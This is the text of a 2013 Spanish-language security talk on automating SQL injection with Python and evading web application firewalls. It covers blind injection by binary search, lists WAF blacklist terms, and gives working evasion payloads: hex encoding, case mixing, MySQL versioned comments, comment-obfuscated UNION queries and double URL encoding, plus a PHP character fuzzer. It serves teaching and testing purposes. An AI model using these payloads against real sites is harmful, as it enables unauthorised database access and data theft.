http://www.el-palomo.com
Automatizando SQLi con Python
Omar PalominoNoviembre, 2013
Bypass WAFs
KUNAK CONSULTING
ÍNDICE
1.Inyecciones SQL
2.Inyecciones manuales vs herramientas
3.Nuevos Retos SQLi - WAFs
4.Evadir Web Application Firewall
5.Codificaciones
6.Automatizando ataques SQLi con Python
http://www.el-palomo.com
INYECCIONES SQL
• ¿Dónde los encontramos?
- Aplicaciones desarrolladas “in-house”
- Aplicaciones desarrolladas por terceros
- Aplicaciones web antiguas sin criterios de seguridad
- Content Management Systems (CMS)
http://www.el-palomo.com
• Basadas en Uniones
• Inyecciones a Ciegas (Blind SQL)
- Sólo obtenemos un carácter a la vez
- Identificamos el carácter con TRUE o FALSE
• Basadas en errores
TIPOS DE INYECCIONES SQL
http://www.el-palomo.com
1.Inyecciones a Ciegas (Blind SQL)
- Algoritmo de búsqueda binaria
- ASCII rango 32 – 126
- Dividir siempre entre la mitad
- Se pregunta si el número es mayor o menor
- Máximo 8 iteraciones
- Método Bitwise
- Siempre usa 7 iteraciones
- Método Regex
- Usa expresiones regulares
TIPOS DE INYECCIONES SQL
http://www.el-palomo.com
32 33 34 … … 79 … … 125 126
LENGTH (<QUERY>) between 0 and 20, sleep (5)
LENGTH (<QUERY>) between 20 and 30, sleep (5)
TRUE or FALSE
TRUE or FALSE
LENGTH (<QUERY>) between 20 and 25, sleep (5)
Longitud: 27
ASCII ( MID (<QUERY>),1,1) between 32 and 79, sleep (5)
79 80 81 … … 102 … … 125 126
102 103 104 … … 114 … … 125 126
102 103 104 … … 108 … … 113 114
Código ASCII: 112
TIPOS DE INYECCIONES SQL
http://www.el-palomo.com
• ¿Qué es un WAF?
- Mecanismo de protección contra ataques conocidos (SQLi, XSS, ejecución de código)
- Intercepta el tráfico que llega a la aplicación Web
- Analiza el tráfico y determina si la petición es un ataque para bloquearlo.
INYECCIONES SQL
http://www.el-palomo.com
• ¿Cómo identifico que una aplicación usa WAF?
- Pruebas manuales
• Modificación de cookies
• Telnet
• Error 403
• Mensajes propietarios
• Prueba una inyección básico ( 9 div 1)
- Pruebas automatizadas
• Nmap script engine (NSE)
• Imperva Script
INYECCIONES SQL
http://www.el-palomo.com
DETECCIÓN MEDIANTE MENSAJES DE ERROR (WAF F5)
ERROR 403 (MOD_SECURITY)
INYECCIONES SQL
http://www.el-palomo.com
• Es más divertido hacerlo manualmente
¿Por qué?
> Es un reto hacerlo manualmente y encontrar diferentes maneras de inyectar.
> Algunos plugins que nos ayudan
- Firefox – Plugin Tamper Data
- Firefox – HackBar
• Herramientas:
- SQLMap (herramienta por excelencia)
INYECCIONES MANUALES VS TOOLS
http://www.el-palomo.com
• ¿Cómo detecta un WAF las inyecciones?
- Lista negra (“Black list”) de palabras conocidas. No permite palabras como:
information_schema
- Basado en expresiones regulares
- “Los fabricantes” de la solución deben conocer como funciona cada Sistema Gestor de Base de
Datos, la mayoría sólo conoce lo clásico y no a profundidad el tema.
NUEVOS RETOS SQLi - WAF
http://www.el-palomo.com
Servidor Web Servidor BD
Zona Desmilitarizada (DMZ)
Peticiones a la Base de Datos
Sentencias SQL
Web Application Firewall (WAF)
Select * from tablaSolución WAF1 Llega petición Web
2 WAF analiza la petición
3 Deniega el acceso
http://www.pagina.com/rol.jsp?id=10 or 1=1
http://www.pagina.com/rol.jsp?id=10 <script></script>
http://www.el-palomo.com
• WAF Comerciales y libres
MOD_Security
F5
Imperva
• Todos los WAF comerciales son “muy caros”
• Los WAF comerciales venden un appliance
• MOD_Security funciona a nivel de software instalado en el servidor (existe versiones
para Apache, IIS, Ngix)
NUEVOS RETOS SQLi - WAF
http://www.el-palomo.com
• ¿Qué buscan los WAF?
- Expresiones regulares- Non-Word Characters
- SQL Comment Sequence Detected
- Common Injection Testing Detected
- Multiple URL Encoding Detected
- Lista Negra de palabras
- sys.user_objects
- sys.user_triggers
- @@spid
- msysaces
- instr
- sys.user_views
- mysql.
- sys.tab
- charindex
- locate
- sys.user_catalog
- constraint_type
NUEVOS RETOS SQLi - WAF
http://www.el-palomo.com
• Houston tenemos problemas
Los WAFs son la solución a las inyecciones?
Ya no debemos preocuparnos por las buenas prácticas de programación?
Los WAF desaparecen el riesgo por completo?
¿Cuánto cuesta un WAF y cuanto cuesta tener conocimiento de desarrollo seguro?
NUEVOS RETOS SQLi - WAF
http://www.el-palomo.com
• Errores más comunes:
– No se actualizan las reglas del WAF
– Los SGBD tienen nuevas funciones y los WAF deben actualizarse
– Funciones y palabras reservadas “NO CONOCIDAS”
• Confundir al Firewall (WAF) - Ofuscación
• Leer la documentación de la Base de Datos
- Mysql
- Oracle
- MSSQL
• Funciones no convencionales o poco conocidas
• Tipos de comentarios por cada base de datos
EVADIR WAFs
http://www.el-palomo.com
<?php
$con=mysql_connect(‘localhost’,’user’,’pass’);
For ($i=0; $i<=255;$i++){
$query=mysql_query(“Select 1 from dual where 1”. Chr($i).”=1”);
If(!query){
Continue;
}
Echo $i. ‘:0x’ . Dechex($i). ‘:’ . Chr($i) . ‘<br>’;
}
?>
EVADIR WAFs
FUZZER A LA BASE DE DATOS
http://www.el-palomo.com
• Técnicas de evasión
- Identifica que palabras o símbolos son filtrados, cada WAF es distinto.
- Usando hexadecimales
select column_name from information_schema.columns where table_name=0x7874705f7573657273
limit 0,1
Carácter Alternativa 1 Alternativa 2
<, > BETWEEN
= LIKE
(ESPACIOS EN BLANCO) %20 Paréntesis ()
Select(campo1)from(table)
OR ||
AND &&
EVADIR WAFs
http://www.el-palomo.com
• Técnicas de evasión
- Mayúsculas y minúsculas (aun funciona)
SeLeCT campo1 FroM table WheRE
- Uso de comentarios
SeLe/*plop*/CT campo1 Fr/*plop*/oM table Wh/*plop*/eRE
Carácter Alternativa 1
# Comentario hasta el final de la línea
/*COMENTARIO*/ Comentario multi línea
(ESPACIOS EN BLANCO) /*!*//*!select /*!50000 user()*/*/ union /*!select /*!00000 version()*/*//**/
EVADIR WAFs
http://www.el-palomo.com
- Uso de más comentarios
Carácter Alternativa 1
/*COMENTARIO*/ Comentario multi línea
Select 1, /*!40000 2*/ union select /*!
50000 1*/,2
Select 1, /*!80000 2*/ union select /*!
70000 1*/,2
EVADIR WAFs
http://www.el-palomo.com
- Ofuscando con comentarios
- 1'#
- AND 0--
- UNION# I am a comment!
- SELECT@tmp:=table_name x FROM--
`information_schema`.tables LIMIT 1#
1‘%23%0AAND%200--%0AUNION# I am a comment!%0ASELECT table FROM--%0A
`information_schema`.tables LIMIT 1%23
EVADIR WAFs
http://www.el-palomo.com
• Codificaciones URL
Transformado a hexadecimal
Espacio en blanco: %20
• Double URL encode
a= %61
%61=%2561
EVADIR WAFs - CODIFICACIONES
http://www.el-palomo.com
Lo importante….
• No existe un WAF estándar
• Las herramientas convenciones no funcionan
• Si no sabes como hacer una inyección STEP by STEP…. Estas jodido!!
• Automatizar ataques con Python
PYTHON Y LAS INYECCIONES…
http://www.el-palomo.com
EVADIR WAFs
No existe un camino pero….
1. Identifica que palabras son bloqueados por el WAF
2. Identifica que caracteres son bloqueados y reemplázalos
3.- Automatiza el ataque
http://www.el-palomo.com
• Base de datos de conocimiento de los vectores de ataque para evadir WAFs
• Funciona siempre? No siempre funciona pero es fácil de modificar en caso de ser
necesario.
MI HERRAMIENTA - DEMO
http://www.el-palomo.com